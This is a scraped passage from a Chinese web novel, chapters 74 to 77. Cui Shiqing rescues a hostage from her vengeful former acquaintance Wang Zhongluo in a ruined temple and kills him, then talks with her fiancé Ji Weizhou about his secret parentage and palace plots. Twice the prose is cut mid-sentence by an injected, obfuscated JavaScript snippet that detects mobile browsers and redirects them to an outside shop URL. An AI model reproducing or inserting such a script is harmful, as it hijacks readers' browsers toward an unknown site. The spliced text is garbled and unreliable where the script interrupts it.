“嫉妒的郎君真吓人!”江南捂了捂心口,正要帮着收拾书桌上的木料残骸,忽然击掌懊恼,“刑部丢失囚犯之事,忘说了!” 74. 窒息 走到拂仙楼外,崔时清还没消气,暗戳戳地想了千百种置赵晟真于死地的阴损招数,只等着借机用一遍。 一名小乞儿掠过护卫膝下,刚要冲上来便被抓住,剧烈挣扎着。 “长命缕娘子可识得?娘子、娘子!” 崔时清一脚已踏上车凳,随意扫了眼小乞儿,刚收回视线,浑身徒然一顿。 黑瘦脏污的小手中抓着的长命缕是由五色丝绳编织的手绳,下边缀着一颗玉珠子。 她快步走到小乞儿面前,夺过长命缕,翻看玉珠表面,直到‘昶’字映入眼中,寒意自心底直冲脑后,让崔时清眼前黑了一瞬。 这条长命缕是李昶祖母离世前留下的,他一直随身带着,直到手绳断裂以后便收在荷袋中,未曾离身片刻。 “你从何处得来的!”崔时清揪着小乞儿的衣襟,一个脏兮兮的馒头随之落了地。 小乞儿顾不得害怕,眼睛直勾勾盯着地上的馒头,挣脱不得,便急忙举起抓着信纸的手,慌声道:“是一位郎君给我的,他让我把长命缕与书信送与娘子。” “他人呢?!”崔时清紧紧攥着小乞儿不松手。 小乞儿哪里见过这样的阵仗,猛地扭头指着不远处,但巷口已空无一人,意识到这一点,他可怜兮兮地仰头望着面前如仙女的贵人,全身颤抖着。 崔时清深吸了一口气,拿来信纸,便把小乞儿扔到侍卫怀中。 【一炷香内,城南三里坡土地庙,独身前来。】 她握着染血的纸张,把信与长命缕递与护卫队长,目视着城南方向。 “来者不善,县主绝不可去!” 一炷香,她没有时间犹豫。 崔时清抓着小竹笛,咬牙抢过了侍卫的马匹,翻身而上,看着脚下众人。 “把信送到李宅,再派人回府调集人手,也是一炷香,如我没有离开土地庙,便带人杀进来!” 崔时清说罢,低喝一声,打马奔走。 “主子!主子把奴婢带上吧!”玄鱼提着裙子跟在后面追着。 “怎么办?!”抱着小乞儿的侍卫惊疑不定地看着队长。 “怎么办!听县主的!”侍卫队长一把拦住玄鱼,指着其中两人,“把她和小乞儿都带回府,禀报国公爷!你拿着信物去李宅,确认李家郎君在不在府中!” 侍卫队长握紧了腰间长刀,目露寒芒道:“其余人随我出城!” * 土地庙偏离官道,早已荒废。也是许多年前与长辈来此赏景时,崔时清才知道这里还藏着一间破庙。 威胁她来此的人是旧识,否则不会知道长命缕对李昶的重要性,更不会断定她可以在一炷香内找到此处。 李昶真的被挟持了? 崔时清有些怀疑,但这么短的时间内,无法确认李昶安全的情况下,她做不到心存侥幸,拿至交的性命来赌一个可能。 崔时清扯下马上的长刀,颠了颠,五指握紧了刀柄,托着长刀目光坚毅地走入庙中。 土地庙破旧败落,在斜阳的映照下,从梁顶垂下的幢幡跳跃着如雾尘灰,遮掩着蜕皮掉色的土地像,朦胧间镀上了一层金黄的日光,徒生肃穆又庄严的神性。 长刀划破幢幡,布帛落地之刻,沉闷的闭门声于身后响起,崔时清倏然举刀回身,透过几缕光线和扬起的雾蒙,她微微眯着眼。 面前之人佝偻着脊背,不合身的袍衫空荡荡地挂在瘦削的身体上,斑驳油腻的头发披散着,却遮不住交错于面上的疤痕。 这是、王重罗? 从一双憎恨阴鸷的目光间,崔时清的面上不由自主地闪过一丝疑惑,看向了他手中的麻袋。 “嗬嗬嗬——”你认不出我了!我也是! 王重罗死死盯着崔时清,眼底闪动着凶残的恨意,暴戾地拖着还在挣扎的麻袋,一瘸一拐地走到了神像前。 崔时清余光瞥着麻袋里的人,轻声道:“王重罗。” 这一身叫唤让他陷入癫狂,一手举刀、一手攥着麻袋,冲向崔时清怒吼着。 “嗬!”不是、他不是!世间已无王重罗! 他的舌头呢?吴成辉也太邪性了吧! 崔时清看着黑洞洞的嘴巴,在心底暗骂了一声,以尽可能温和的口吻,边说边靠近他。 “你找我,是想回家吗?我可以帮你呀,毕竟你我也是旧识,我会——” 王重罗却似被激怒,顿然举刀捅入麻袋中,伴随一个痛苦的闷叫声,崔时清的眼睛布满了红丝。 “狗东西!你敢!” 崔时清握着刀就要冲上前,王重罗却突然恢复了理智,掐着麻袋之人的脖子,把刀尖对准他,硬生生逼退了崔时清。 “等等,不要、不要动手了。”崔时清扔下了长刀,躬着身近乎卑微地说道,“你想要什么,我都会为你做到的,放了他吧。” “嗬嗬嗬嗬!”我要你死!千刀万剐!尝尽我所受的耻辱! 崔时清的眼角落下了泪,痛苦又脆弱地望着王重罗,“我是跋扈恶毒,但也从未伤害过你呀!” 王重罗目光幽幽地盯着她,看着高高在上的人啜泣无助的样子,心底生出了一丝快意。 “我真的不知道是哪里做错了,我们有过争执、斗过嘴,但也不至于有深仇大恨啊!” “嗬!”王重罗无处发泄地怒吼着。 你怎么能不知道!怎么能! 崔时清捂着心口哽咽道:“这样吧,你有什么恨意都写在幢幡上、写在地上,你告诉我究竟做错了什么!哪怕要杀了我,也让我死得明白!” 王重罗提着刀尖在地上划出几个字。 【纪、你该死!】 “你不同意我和纪危舟的婚事?我阿爹阿娘也不同意的!我们本就成不了婚!你根本无须为了此事,一再暗害于我。”崔时清泣声道。 王重罗难以置信地盯着她,全身都在不受控制地施力,四肢因过度用力而颤动打摆,险些连刀都握不住。 【成不了?】 “成不了了,取消了婚事,我便要回清河郡,再也不来京都这个伤心地了。”崔时清攥着小竹笛,不时以手背拭泪。 成不了?怎会成不了了? 不行!要成!要成! 要在成婚之日,杀了她、杀了他! 王重罗翕动着唇瓣,神志不 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被熟悉的气息所包裹着,崔时清艰难地睁开了眼睛,费了许多气力,才抖落眼底的泪液,看清了纪危舟的面容。 “你来了?”崔时清瘪了瘪嘴,委屈地被拥入怀中。 “我来了,我来了,不怕、不怕。”纪危舟轻啄她的发顶,低声重复着,自己却害怕得心口钝痛。 崔时清敲了敲他的腰腹,虚弱地看向被侍卫松开的麻袋,露出惊恐万状的老翁。 侍卫队长令人把老翁抱上马车,运回城中医治,又看着角落中奄奄一息的疯子,一时有些头疼。 “扶我起来。”缓过劲来,崔时清眼神复杂地看着纪危舟,哑声道。 纪危舟没有意见,扶着女娘起身走到了王重罗身边。 “你们都出去。”崔时清伸出手,扫了一眼侍卫们。 “是。”贼人被斩断双手,已经没有抵抗之力。侍卫队长欣然应下,把佩刀奉上,便退至土地庙外,只待县主娘娘清算完这笔账,启程回府。 土地庙再次恢复了沉静。 王重罗躺在地上,忘却了痛楚,怔怔然看着许久不见的挚友。 他没想过有生之年还可以再与纪危舟相见,而显而易见,纪危舟是不愿再见他的。 王重罗扯动着狰狞的脸,挤出胜利的笑。 崔时清也看向了纪危舟,问道:“为什么不杀了他?” 王重罗直勾勾地瞅着纪危舟,眼底满是期待,“嗬。”杀了我吧! 纪危舟揽紧了怀中的人,垂眸摇了摇头,没有说话。 “……舍不得?”崔时清忽然想起孤山上的一幕,恶劣地冷笑道,“难不成你还想当菩萨?普度众生、劝人放下屠刀?” 王重罗的眼里也困惑了须臾,随之再次燃起恨火,冲着纪危舟低吼着。 “他不想被超度呢!” 崔时清推开纪危舟,下一瞬血溅而起,把她的衣裙都染得腥臭恶心。脚边已没了生息,崔时清扬着下颌,赌气般斜乜着纪危舟的眼睛。 “你还要娶我吗?” 75. 阴暗 比起崔时清自认残酷的做派,她语气中的失望更让纪危舟感到痛苦。 他怎会不想呢? 但一柄染了血的长刀抵在俩人之间,冷凉的血水顺着刀尖滑下,像是在划定一条显目的楚河汉界,把他们置于敌对双边。 “你不要我了?”纪危舟踏过那条界限,握住了那只沾了血迹的手,紧紧不放。 崔时清低头看着覆于掌上的长指,粗暴地甩开他,同时松开的还有那把夺人性命的利刃。在纪危舟惶惑不安的目光下,抽出暗袋里的净怕,扔进他的怀中。 “脏死了!擦干净!” 哪怕不愿承认,崔时清的心底还是不愿意让纪危舟沾染上半点脏污。 他不该被弄脏。 纪危舟微张双唇,在一瞬迟疑之后,眼底氲起些许暖色。 他低头擦拭指尖的血污,直待干净了,也取出随身的白帕,轻轻牵起崔时清的手,一点点、温柔而珍重地拂过本不应存在的痕迹。 “我不是菩萨,我也动了杀念。” 声音很轻,但在荒弃的庙宇中却格外清晰,崔时清直愣愣地望着垂眸捧着她双手的人。 他没有厌弃自己。 这个念头刚起,置于心底的枷锁轰然落地,此时此刻,她才终于从濒死的窒息中逃脱出来。 纪危舟卸下外袍披在了崔时清的肩头,问道:“还记得一线生机吗?” 空晖禅师的一线生机,用来救遭到马踏的张知茵了。 崔时清心念微动,隐隐有了猜想,“这是你不杀、山匪的原因。” 即便她更想说的是王重罗,但思及他们曾经的往来,和自己方才所作所为,崔时清竟然没了勇气再提起这个名字,更不想让纪危舟再看一眼地上的尸首。 感受到身前之人的小动作,纪危舟顺从地随着她的步伐移动了数步,将崔时清面上的一缕碎发挽到耳后,看着她的眼眸,低声道。 “我在诸佛面前立誓,佛家予我一线生机,换取此生不得再为私欲夺人性命。” 猜想得到证实,崔时清的心底却依然掀起剧烈的风暴,惊骇难言地瞪着纪危舟,破声道:“不为私欲夺人性命?难不成是要任人宰割?!” “我不能心存侥幸。”纪危舟凝视着她。 崔时清觉得这个交换条件苛刻至极,正要责备他的迂腐,忽然想起公主府遭遇刺客时,纪危舟并没有对死士手下留情。 “是从那一夜开始?”崔时清诧异道。 黑眸像是被水洗过,连长睫都沾了湿气,纪危舟捧起崔时清的双手,虔诚又惶恐地说道:“我不能让他们夺走你。” “你!” 崔时清感到心底酸涩难忍,不禁动了怒气,攥着拳头敲打他的胸膛,气势汹汹地骂道。 “不为私欲?!死士不辨善恶屠杀,山匪不分穷富劫掠!你砍了他们,怎么能说是为了私欲?!有剁手的时间,还不如快刀斩乱麻,为民除害、把他们送入地府,反而是积攒功德!” 崔时清越说越是酸楚难当,纪危舟为了她做到如此,而她却逼迫他亲手夺走旧友的性命。甚至、为了躲避宫里的那个疯妇,还动了抛下他的念头。 “你个傻子!”崔时清的眼眶也泛起潮水,凶巴巴地骂了一句,但语气中却藏不住心疼。 指骨微收,在这样温情的时刻,纪危舟心生妄念,急切地想要付诸行动。 “我想问软软一个问题。” 在如此严肃的语气下,崔时清也不由敛下汹涌的情绪,屏息轻问:“什么?” “若是、我还有——” “时娘!” 崔时清倏然回头,看向匆匆走入庙中的两位兄长,一时也忘了纪危舟说了一半的话。 “阿兄,你们来啦。”崔时清有些心虚地瞅着他们。 崔长殷挤开纪危舟,扶着妹妹上下打量了一遍,看着细白的脖颈上骇人的掐痕,生气道:“你也太胡来了!怎么能孤身来此?!” “君子不立危墙之下。”崔云许不赞许地看着崔时清,见她也吃够了苦头,心中不舍便不再念叨,把带来的大氅披在崔时清身上,转身对着她弯下了腰,“阿兄背你归家。” 崔时清没有拒绝,正要上前,纪危舟却捡起了落在地上的外袍,强势地夺回失地,横抱起他的女娘。 “哎?”身体一倾,崔时清下意识搂紧了纪危舟的肩颈。 没抢过堂兄,崔长殷本就有些郁闷了,再看着半路冲出来的纪危舟,顿时便想摆未来舅兄的架子。 “你如此——” 但是刚被打断说话的纪危舟也有怨气,不等他说完,抱着崔时清边走便道:“时娘身上有伤不便奔波,我们的新居所就在城南,先回宅院休整一二。” “一二是多久?”崔长殷才问完这话,纪危舟已扬长而去,徒留下咬牙切齿、气不过却也无可奈何的崔长殷。 “兄长,你瞧瞧他、瞧瞧他咧!” 崔云许直起身来,叹声道:“此二人是未婚夫妇,彼此又有情意,遭此劫难,总归是要给些互诉哀肠的时间。” “仅仅还是,明日可不好说了。”崔长殷幽幽道。 提及这茬,崔云许压低声音问:“你可知缘由?” 崔长殷挠着脑袋,粗声粗气说:“我哪里知道了!阿爹阿娘在此事上嘴巴特别严,只咬死说他们不合适,其他便再不肯透露半分。” 崔云许叹了口气,正要走到角落里探查尸首,江南带着几名脸生的手下走了进来,与他们拜了一礼,便丝毫不客气地用漆布裹住尸首和残肢,扛着离开。 “纪家三郎是个有成算的人,伯父伯母恐怕很难如愿以偿的。”崔云许负手说道。 崔长殷跟在堂兄身后,小声嘀咕,“有成算也好,至少可以护得了阿妹。” “怎么?你又同意了?”崔云许失笑着。 “我总归不是阿爹阿娘,都过了这些年,始终想不明白。”崔长殷面露惆怅。 崔云许沉吟片刻,抖了抖衣袖,翻身上马。 “走吧。” “就这样回府了?”崔长殷还有些迟疑。 崔云许失笑道:“回什么府?我们也去城南新居所。” “啊?阿兄不是说了,要与他们互诉哀肠的时间吗?”崔长殷一脸困惑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304522|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不是给了吗?算算时辰,该说的也都说完了吧!” 崔云许看了一眼日头,理直气壮地打马疾驰,大风吹鼓他的衣袂,把目瞪口呆的崔长殷晃得眼花。 道高一尺魔高一丈。 堂兄弟二人把城南的街巷逛了一遍,也没有找到桥鹿巷,更别提什么新宅子了。 最后败兴而归,回到国公府找人一问,才知道纪家三郎身边的小厮口中的‘桥鹿巷’是前吴巷! * 前吴巷的尽头。 再次来到新宅子,眼前已焕然一新,每一处都有他们共同构画的痕迹。 这些不久前只存在于想象中的一切,此刻真真实实出现在崔时清的眼前,反倒是给了她一种如梦似幻的错觉。 好像一场小心翼翼做的、唯恐醒来的美梦。 “这是我们家?”仰头望着纪危舟,崔时清忐忑地问道。 “是,是我们的家。”纪危舟的眼中缀着星辰。 指尖轻轻扣着他的衣襟,崔时清弯起唇角,但一开口却又全是不安。 “你想好了?我这样恶毒的女娘,你真的不害怕吗?” 纪危舟注视着崔时清的眼睛,也问道:“我没有软软想象中的那样风光霁月,我也有阴暗的一面,软软会害怕吗?” 在破庙中的那种紧张聆听的感觉再次回来,崔时清沉了沉气,再道:“有多阴暗?” 把崔时清抱紧了里屋中,垂眸替她卸去外衣鞋袜,纪危舟像是在忙碌间忘了方才的闲谈。 “疼吗?” 看着青紫的淤痕,纪危舟的嗓音沉闷,仿佛也被人掐住了脖子,连呼吸都极为滞涩。 “疼。” 崔时清躺在暖榻上,被绵软的锦衾拥裹着,身心都升起了一股筋疲力尽后的倦怠。她的眼皮有些发沉,连思绪都变得迟缓,半天才慢吞吞回了一声。 “我应该杀了他的。”纪危舟后怕道。 崔时清迷迷糊糊地笑道:“不怕违背佛祖了?” “要是没了你,誓约又算得了什么。” 纪危舟检查她身上的擦伤淤青,越看越是心惊胆战,他不敢想象,要是迟一点、迟那么一点,她…… “对不起。”纪危舟又道,一双眼眸浸了水一般,湿雾雾的。 在这声突兀的道歉下,崔时清勉强睁开眼睛,看着红了眼眶的郎君,心脏不禁被攫紧了。 她伸出手指,抚过这双眼睛,心尖如同被针扎过阵阵刺痛。 “你在难过什么?”崔时清捧着他的面颊,蹭了下鼻尖,柔声道,“我还在呀,就在你身边。” ‘啪嗒’一声,泪珠砸在手背上,看着被自己哄得垂泪的郎君,崔时清手足无措,连瞌睡都丢到了九霄云外。 “你、你哭什么呀?” 纪危舟一言不发,直勾勾望着面前的人,默默落泪。 他没想过要哭的。 从第一世开始,他就知道眼泪是最无用之物。除了让人轻视,再没有任何作用。 他以为自己没了垂泪的能力。 但是,看见桃花眼倒影出自己的那一刻,他却失控了。 76. 身世 “你是不是想要取消婚事?” 不论是语气还是眼神,都没有丝毫质问的意味,但仅仅被泛红的眼尾扫过一眼,崔时清便慌了神,语气弱弱地辩解。 “……我没有要取消。” 纪危舟顾不上追究她眼底的心虚,扶着崔时清的双肩,确认道:“不会取消?” “不会,我想与你成婚。”抬手拭去他面颊上的泪。 不知道是什么再次触动了纪危舟的心,他抵着崔时清的额头,眼泪怎么也擦不干。 “怎如此爱哭。” 崔时清摸了下被沾湿的鼻梁,无奈叹息着,眼看哄不好纪危舟,忽然想起一物,便扬起下颌在干燥的唇瓣上轻啄了一下。指了指床边的衣物。 “把荷袋拿来。” 纪危舟抿着唇瓣,把沾了灰的荷袋解下,递与她。崔时清没有接手,怒了努嘴。 “看看里面的东西。” 纪危舟捏着青竹绣样的荷袋,坚硬的质地,手指拨开络子,看到了用过的旧玉重新用彩绳编织了新绦子。他恍惚了一瞬,怔怔地望向崔时清。 崔时清随意地拨弄着肩头的发丝,瞥了一眼呆愣愣捏着玉佩,也忘了掉眼泪的郎君,矜持地抿唇道。 “屋里的婢子在编彩绳,我便随手用你这块旧玉编着玩玩了。” 低头看着旧玉上的绦子,五彩的绳子交错编织,很像端午时长辈们为幼子祈福驱邪的长命缕。 纪危舟没想到他羡慕过的东西,时隔九世还是得到了。意识到这一点,他终于展颜笑了出来,缠着崔时清。 “软软帮我挂上?” 总算把人哄笑了,崔时清吁了一口气,也没有摆架子,低着头把绦子绑好。 看着傻乐个没完的纪危舟,心里软成一滩,捧起他的面颊,望着清澈透亮的黑眸里再没有一丝阴霾。 心里喜欢得紧,在他的眼皮上啄吻了几口,软声道:“绦子而已,不必如此欢喜。我都说了,你想要什么都可以与我言说。” 纪危舟由着崔时清亲吻着,眼里盈动着期待,问:“我,可以也要一条长命缕吗?” “端午还——”崔时清正要戏笑,但声音却戛然而止,凝视着纪危舟的眼睛,轻轻点了点头,“这么乖的郎君,可以得到很多条长命缕。” 纪危舟欣喜道:“真的?” 指尖抚过他腰间玉佩上的绦子,崔时清不厌其烦地应道:“真的。” “软软对我可真好。”纪危舟轻蹭着她的面颊,低声道。 轻轻推开了在自己面前蹭来蹭去的脑袋,望着纪危舟,崔时清的眼底有些酸胀。 崔时清记得幼时独身来京都之后,皆是外祖母亲手为她编长命缕的。外祖母的精力有限,便没有再操心其他孙儿之事,都由着各自的母亲来办。 哪怕是寄居在国公府,人人要有的她都有,而纪危舟的腕上却从来都是干干净净的。 许姨娘以体弱多病为由,从不为纪危舟的起居多费心。 小儿都爱攀比,在课业上比不过,便不会错过端午这样的好机会,她为此戏弄了纪危舟好几回。 但想必她不是第一个以此为乐的人,纪危舟习以为常,面如止水、总是以淡漠的神色应对讥嘲。 讨了几回没趣,她便以为纪危舟是不在意这些的。 原来他是在意的。 崔时清抿了下唇瓣,犹豫再三,开口道:“你是何时知道身世的?” 他知道自己的犹豫,想必也明白后背的缘由。 这些都是隔在他们之间的阻碍,哪怕如何使人难以接受,想要成婚厮守,他们总归还是要把这个问题说开,才能携手面对。 纪危舟的声音很轻,“两年前。” “两年了?你是因为身世才没有进入朝堂,而选择外出游历的。”崔时清依恋地攥着他的拇指,心底隐隐作痛。 纪危舟揉磨着缠在指尖上的乌发,微微颔首。 “你心中可有怨恨?”崔时清问。 “我很小的时候便知道自己不是许姨娘的亲子,我只是外室诞下的私生儿,占了纪三郎的身份才能在国公府中拥有一席之地。” 纪危舟看着远处,像是也被往事带走了一样,怔然了许久才回神,慢声道:“怨恨吗?也是有的,但更多的是愧疚。因为我的存在,而使真正的纪家三郎流落在外,坟冢都不能落于祖坟边上。” “许氏是骗你的,为了拿捏你才说这些!”崔时清不高兴地捧着纪危舟的面颊,看着他说,“阿舅把他落在了纪家祖坟后面,虽然隐蔽少有人往,但寻了一家山户每年祭拜,不曾愧欠了此子。” “嗯,后来我也知道了。” 崔时清忍着心口的闷滞,又问:“她呢?你如何想的?” “科考之后,父亲把身世告知与我,让我自己决定以后的人生。”手指缠进崔时清的指缝间,纪危舟略略沉了沉心,才继续说,“我在宫中看到她,心里其实是存了一丝臆想的。当年的事情没有定论,也许她是身不由己,也许心底还记挂着我。” 纪危舟自嘲地摇了摇头,“眼神是骗不了人的,她对我存有戒心。因而我便离开京都,在外走了两年,看遍了人生百态,这才决定回来。” 崔时清靠在纪危舟的肩上,沉默地仰视着他。 感受到女娘没有道出口的安慰,纪危舟弯唇笑着,彼此依偎着汲取温暖。 “两年时间改变了我,也改变了她。她记起还有我这么一个儿子,便暗中来见过我。” “她想要你扶持赵晟真?”崔时清攒眉。 “是啊,她等不及了,想要尽快获得绝对的权势,而我还算入得了她的眼,便又生出了许多慈爱之心。” 崔时清低声问:“你动过心吗?” “动过。”纪危舟垂下眼眸,摩挲着崔时清的指尖。 他的心底是藏着一分期待的。 然而第一世他不得已登基上位,以为生母会谅解,一杯毒酒让他清醒过来。 第二世他尝试过退让,奉上他们所要的一切,但是背刺和猜疑却没有断过,最终还是应了孤寡无亲的谶言。 崔时清心中不舍,但还是直言道:“崔氏不能涉入朝堂之争。” “我明白!软软可愿信我?”纪危舟直勾勾地望着面前的女娘,“我会不令崔氏陷入险境的。” 崔时清弯了弯唇角,心里有了答案,指尖戳着纪危舟的面颊,淡笑道:“空口白牙,可迎娶不了崔氏女的。” “我心不改,愿再献喜帕为证。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314692|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”纪危舟也笑着说,专注的眼神里却透着认真。 崔时清想也不想便道:“别!我信还不成吗!” 说完,崔时清有些不服气,扑倒了纪危舟,在他的喉结上咬了一口,把人撩拨得心猿意马,便伏趴在他的身上打起哈欠。 “不与你闹了。” “……”纪危舟苦笑一声,掌心覆在崔时清的脊背上,有节奏地轻拍着,“赵晟真与你说了什么?” “他小子啊!欸?”不行,不能说赵晟真是来勾引她!这个醋精闹起来可是没完! 崔时清抬起头,顶着一张困倦的眼睛瞅他,刻意放慢了语调,“你怎么知道?你是不是——” “没有,不是!”纪危舟立刻否认。 崔时清松了一口气,往上挪动身体,把下颌支在纪危舟的颈窝上,强打精神嗤笑道:“我还没说完呢,你就这么着急,心虚啊?” “我不是怕软软误会吗?” 纪危舟掌着她圆润的后脑勺,修长的手指插入顺滑的乌发间,轻慢地揉捏着。直到崔时清眯起眼睛,枕在他的胸膛上,偶尔发出几声舒服的咕哝声。 “我没有忘记答应软软的,是跟在赵晟真身边的探子回报,我才知道他刻意跑到拂仙楼来堵你。”纪危舟柔声解释。 “你究竟布了多少暗线?”卷翘的长睫颤动了几下,崔时清懒洋洋地问,连眼睛也没有睁开。 “许多。”像是担心女娘多想,纪危舟又道,“我必须要有自保之力。” 谁愿意过这种提心吊胆的日子?一句轻飘飘的解释,藏了无尽的心酸。 崔时清抱紧了纪危舟,心里乱糟糟的,莫名又想起了之前八世,她用尽一切手段想要杀死纪危舟,此人却总是淡然应对,甚至最后一世还被自己逼上绝境。 若是他的眼线遍布京都,为何还会三番五次被自己暗害? 崔时清的心底掠过一丝不解,掌心抚在纪危舟的心口,感受着此处强健的震动,有些恍惚。 他还隐藏了什么? * 夜半。 崔时清惊叫出声,睁开眼睛望着漆黑的屋子,梦中那个没有尽时的暗夜带来的恐惧再次袭上心头,她害怕地藏进了纪危舟的怀中。 “不怕不怕,我在此处。”纪危舟轻抚着小女娘的脊背,安慰道。 “为何不点灯?”崔时清的脑袋昏沉胀痛,有气无力地伏在他的腰间,声音微哑道,“把窗户打开,我有些喘不过气,好闷、好难受……” 纪危舟收紧的臂弯顿了顿,又微微松开了些许,虚揽怀中的女娘。 “好,我会点灯、也会开窗,软软不怕。” “嗯、不要忘了……” 耳边的呼吸声渐渐轻缓,纪危舟凝视着崔时清的睡颜,指尖一点点划过她的轮廓,最后落在微颤的长睫上。 梦中的人,依然不得安心。 他犹豫再三,抱起自入此处便梦魇不断的女娘,如来时那般,悄无声息地离去。 银月的光辉从半掩的窗棂间钻了进来,洒满一地。纪危舟抚平了微蹙的眉心,在她的眼皮上落下一个轻吻。 “我又错了。” “你不喜欢,我们再也不去。” “软软原谅我吧。” 77. 亡灵 昨夜噩梦连连,在伸手不见五指的黑屋子急了一宿,第二日及至晌午,崔时清也没能醒来。 但她近乎一日没有进食,纪危舟只得端着糖豆粥哄小儿一样说了许多好话,才把眼皮都没睁开的女娘扶了起来。 盥洗以后,崔时清如同被吸干精气似的,斜倚在靠窗的美人榻上,一边晒着太阳暖身,一边配合地张嘴咀嚼,应付她的朝午食。 崔时清有气无力道:“我们回国公府吧。”这个地方风水不好! “我让人准备车马。” 如此爽快的态度让崔时清不由心生怀疑,顿时有了点精气神,目光炯炯地审视纪危舟,希望从他面上找到些许破绽。 银勺杵了过来,崔时清下意识张嘴,喝了一口鸡汤,又吃了几筷子菜,面颊鼓鼓的,脑子也不由放空,眼神有了些酒足饭饱后的空洞。 ……嗯、她是不是忘了什么?好像是什么很重要的事情。 撑在凭几上的手肘猛一打颤,崔时清顿时惊醒,双手抓着纪危舟的手臂稳住身体。 “可有磕碰了?”纪危舟搀着她坐好,忧心问。 崔时清摇了摇头,想起了很重要的事情,仰头望着他,连声发问道:“王重罗不是在牢里吗?是谁把他放出来的?他为什么非要杀我?” 昨日因身世之由,她只顾着怜惜,不曾狠下心来再纪危舟的心上添上一笔伤心事。 偷瞟了一眼纪危舟。 过了一夜,泪都干了,眼皮更不曾红肿,想来不会再哭!可以拷问了! 纪危舟垂眸应询,“公主府诗会那日,我与他有了嫌隙,为此他记恨上了你,以为是由于你的缘故,我才不愿与他为伍的。” “什么?这还能——” 崔时清惊讶地看着递到嘴边的帕子,抿着唇瓣,等着纪危舟擦完嘴,继续发泄自己的不满。但是被打断以后,心间窜起的恶气也弱了半分,崔时清只得转而瞪了一眼妨碍她叫骂的人。 “真是莫名其妙!” 纪危舟手下也没有消停的,放下帕子,又拿起篦子梳理起她的长发,“他是个偏执的人,生了执念,这才一再暗害于你的。” “一再?” 崔时清怔了须臾,想起穿心而过的那柄长箭。 是了,是王重罗所为。 她被纪危舟忽悠着,都忘了往这处去想。 崔时清扭头看着身后的人,被他忙忙碌碌的动作迷花了眼,一把按住纪危舟的手臂。 “你在心虚什么?”她眼睛微转,攒眉质问,“难不成还在记挂那个死人?” “不是记挂,我是在后悔。后悔一再失察,把你置于险地。”纪危舟反手牵着崔时清,望着她的眼睛说道。 崔时清听着,心中好受了点,嘟囔着抱怨道:“我可太冤了!” “都是我的错。”纪危舟颓丧地低下头。 他起过利用崔时清来改变天命、抵挡所有厌恶之人的心思,但时移世易,在不知不觉中他改变了本心。 比起让崔时清成为冰冷的利刃,他更愿意她平安无忧。 喜欢阳光,便与她、伴她,再不约束她,想错的那些事也都会改。只求以后的每一个日夜,她在自己的怀中,都可以自在快活,再无恐惧。 “……”怎么又是这副模样?不会还要哭吧? 崔时清连忙捧着纪危舟的脸蛋,在额上大方地亲上一口,换来郎君温情的笑眼,长长吁了一口气,理所当然地继续商讨起这桩倒霉官司。 “他不是在刑部大牢吗?” 说得越多,越会引来猜疑。 但是面对这双笑盈盈的眸子,纪危舟无法再以假话搪塞。 沉了沉心,他慢声道:“原本是在刑部暗牢中,刺杀案以后留下一命,因为皇帝认为他还有用。” 崔时清感觉自己终于要迈入刺杀案的内场,看清真相了。 但她有些不痛快,轻飘飘瞥了一眼纪危舟。 这人之前都在跟自己装傻啊! “说说说,快把你知道的都说出来。”崔时清没好气地催促道。 纪危舟被她想生气又顾不上的表情逗得不行,暗笑道:“刺杀案是皇后为陷害贵妃母子而开的一场戏,但由于王重罗的暴露,一切都变得复杂了起来。” 王蔡两家关系恶劣,硬要把这脏水泼在他们身上,反而会适得其反。 崔时清几乎可以看到皇后气急败坏的嘴脸,心中偷乐,面上却认真听着,偶尔点点头严肃地应和。 纪危舟望着格外乖巧的女娘,继续说:“所以王重罗在授意下,转而拉淑妃下场,说此事全是淑妃所指使的。” 无凭无据,空口攀诬如何能令一宫之主久病缠绵? “淑妃投诚了皇后?”崔时清思考的时候嘴唇习惯微抿着,双颊上的软肉也微微鼓着,圆润的面颊像颗饱满水润的频婆果。 纪危舟没忍住,低头轻吻着她的脸颊,在一记眼刀下,连忙说起正事,“自从赵洛行离京,淑妃便为自己另寻了出路,投靠皇后。” 纪危舟一口一个皇后,面不改色、语气平淡,看来是真的对生母失望了,也绝了孺慕之情。 偷偷观察着他的面色,崔时清心下微安的同时,免不得又生出几分怜爱之意,好脾气地把右脸凑了过去,让他亲一亲。 纪危舟微怔须臾,连忙捧起要相亲的女娘子,把她逗弄得迷迷瞪瞪的。 “够啦够啦!皮都要被你磨破了!”崔时清消受不了这番热情,连声道,“淑妃、说淑妃!” “……”说什么淑妃呢。 纪危舟正心猿意马,没有半点谈论其他人的兴致,眼神幽怨地乜了一眼崔时清,躬着身子把下颌支在她的肩上。 “淑妃承认了罪行。” “什么?她为何要认?!”崔时清讶异道。 纪危舟的唇角勾起一丝极浅的讥笑,轻啄她的颈侧,说道:“她已上了贼船,别无出路。只能表现恭顺,以求日后赵晟真夺得帝位,跟着鸡犬升天。” “以贵妃娘娘往日的情谊,她没有悔意吗?”崔时清感到脖子上的痒意,瑟缩肩头,掌心抵在纪危舟额上,与他拉锯推搡着。 纪危舟紧紧抱着崔时清,直待她懒得动弹,得逞一般窃笑着偷了香,才跟着说:“她认罪以后,再三强调贵妃与此事无关,全是她一人所为。” “这招此地无银还真毒辣——”想必是出自你母亲之手吧! 崔时清本想嘴贱一下,临了却还是咽下了后半句,抚了抚纪危舟的脑袋,轻哂道:“王重罗是皇后放出来的?” 